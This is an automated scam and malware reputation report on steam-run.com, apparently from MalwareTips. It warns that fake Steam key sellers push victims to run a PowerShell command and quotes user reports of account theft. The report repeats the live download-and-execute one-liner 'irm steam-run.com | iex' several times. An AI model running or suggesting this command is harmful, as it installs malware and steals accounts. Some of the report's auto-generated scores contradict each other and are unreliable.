Critical risk detected
Malware site pushing fake Steam keys via malicious PowerShell commands like irm steam-run.com | iex, confirmed in multiple scam reports. Our security stack flagged multiple threat indicators on this website. Don't enter personal information, deposit money, or download files.
Is steam-run.com legit or a scam?
Malware site pushing fake Steam keys via malicious PowerShell commands like irm steam-run.com | iex, confirmed in multiple scam reports.
These checks passed — but they don't clear the site. A clean antivirus result, valid SSL, and a calm server only mean it isn't hosting malware; they say nothing about whether the business is real. This verdict is based on the site's conduct and content, not a malware detection.
Analysis Summary
MT Intelligence
The site appears designed to trick Steam users into running a PowerShell command that downloads malware or steals login credentials. Strongest signal is the four direct scam reports from Reddit and Steam Community linking it to account theft and PC compromise. Supporting evidence includes eight complaints, zero positive reviews, and no legitimate business presence despite the domain being about a year old. Our analysis shows clean browser blocklists and IP reputation but the real-world usage reports override those signals. The combination of malware behavior and impersonation of Steam services makes this a clear threat.
Website Preview
Automated page render — captured in a safe sandbox. What an ordinary visitor would see when loading the site.
Web Research Findings
Our live research agent queries scam-report databases, consumer-review sites, news coverage, and general web search for steam-run.com, then cross-checks business-registration records and look-alike domain patterns. Everything below is pulled from what it actually found.
- - Domain steam-run.com registered April 24, 2025 via Alibaba Cloud Computing Ltd. (WHOIS from PCRisk scan)
- - Frequently referenced in malicious PowerShell commands like 'irm steam-run.com | iex' for fake Steam key activations (multiple Reddit/Steam threads)
- - Flagged as malicious by 14 out of 91 security engines; trust score 5/100 (PCRisk scan May 21, 2026)
- - Associated with malware behavior in sandbox analysis (Triage report on irm steam-run.com|iex)
- - Hosted on Alibaba.com LLC infrastructure in Frankfurt, Germany; valid TLS but minimal site footprint
- - Domain age ~1 year; no established traffic ranking or legitimate business presence noted in scans
- Reddit r/PowerShellopen
"The command: Basically, irm steam-run.com | iex uses Invoke-RestMethod (irm) to download a PowerShell script directly from a malicious site"
- YouTubeopen
"The seller is not selling the game. He's selling an illegal software that hacks your PC. I can't even use that PC anymore."
- Reddit r/Scamsopen
"Its a fake steam login , designed to steal your account credentials. Complete with "Please run in Administrator mode" (In Chinese)"
- Steam Communityopen
"I BOUGHT KEY FROM CHINESE WEBSITE THEN HE ASKED ME TO RUN POWERSHELL COMMAND IRM STEAM-RUN.COM | IEX THEN IT SHOWS SOME CHINESE CHARACTOR"
Reddit threads in r/PowerShell and r/Scams, plus Steam Community posts, describe steam-run.com being used in commands that steal accounts or install malware. YouTube comments also warn that the site sells illegal hacking software rather than games. No positive reviews or business records were located.
Security Scans
Checked against the major public blocklists used by browsers and security tools — no hits.
Domain & Encryption
Redirect Chain
- 1301http://steam-run.com/
- 2521https://steam-run.com/
Server Reputation
Scam-Type Likelihood
2 scam-type patterns detected
0 of 13 categories showed signals
We check every URL against 13 distinct scam categories so the verdict tells you not just how risky the page is, but what kind of risk it carries. Each meter pulls from page signals, web reports, our AI analyst, vision, and the scam-network cluster — not from raw AV labels.
- AI analyst tagged this as malware / drive-by / cracked app.
- AI analyst tagged this as phishing.
0 of 13 categories showed signals
We check every URL against 13 distinct scam categories so the verdict tells you not just how risky the page is, but what kind of risk it carries. Each meter pulls from page signals, web reports, our AI analyst, vision, and the scam-network cluster — not from raw AV labels.
- AI analyst tagged this as malware / drive-by / cracked app.
- AI analyst tagged this as phishing.
Malware distribution detected
Signals suggest this page may deliver malicious files or exploit the browser.
- Do not interact with steam-run.com
Do not enter credentials, deposit money, download files, or install browser extensions from this site.
- If you downloaded or ran a file from here
Disconnect the device from the internet, run a full scan with a reputable antivirus (Malwarebytes, ESET, Bitdefender), and consider a second-opinion scanner. Change passwords on any account you used from the device afterwards — ideally from a different device.
- OpenGet free cleanup help
MalwareTips has a dedicated malware-removal team who walk you through cleanup one-on-one.
Reputation Sources
How this domain rates across independent threat-intelligence and blocklist providers.
Safety FAQ
Common questions about this site, answered from the scan data on this page. These are auto-generated — not hand-written — so they always match the underlying report.
- Our automated security review flags steam-run.com as dangerous. Multiple threat indicators were detected — treat the site as a scam until proven otherwise.
- No — steam-run.com scored 25/100 on our trust scale. We detected active threat indicators, so we recommend avoiding the site entirely.
- Yes. steam-run.com presents a valid TLSv1.3 certificate issued by Let's Encrypt · R13, expiring in 73 days. Note that SSL only encrypts the connection — it does not guarantee that the site itself is trustworthy.
- steam-run.com is 1.1 years old, registered on 4/24/2025 through Alibaba Cloud Computing Ltd. d/b/a HiChina (www.net.cn). Scam domains are often freshly registered — a site under 6 months old warrants extra caution.
- No. steam-run.com is not currently listed on the major browser blocklist feeds that modern browsers use.
- steam-run.com resolves to an IP operated by Alibaba Cloud LLC in US (usage type: Data Center/Web Hosting/Transit). Hosting location alone doesn't make a site good or bad, but unusual geography for a brand's claimed country is one of many signals we weigh.
- We cache results for 24 hours. Signed-in MalwareTips members can trigger a manual rescan at any time using the "Rescan" button on the report page, which re-runs every check from scratch and refreshes this page.
User reviews & comments(0)
Share your experience — "Lost $200 on a fake checkout" is more useful than "Scam". Your review helps others avoid traps.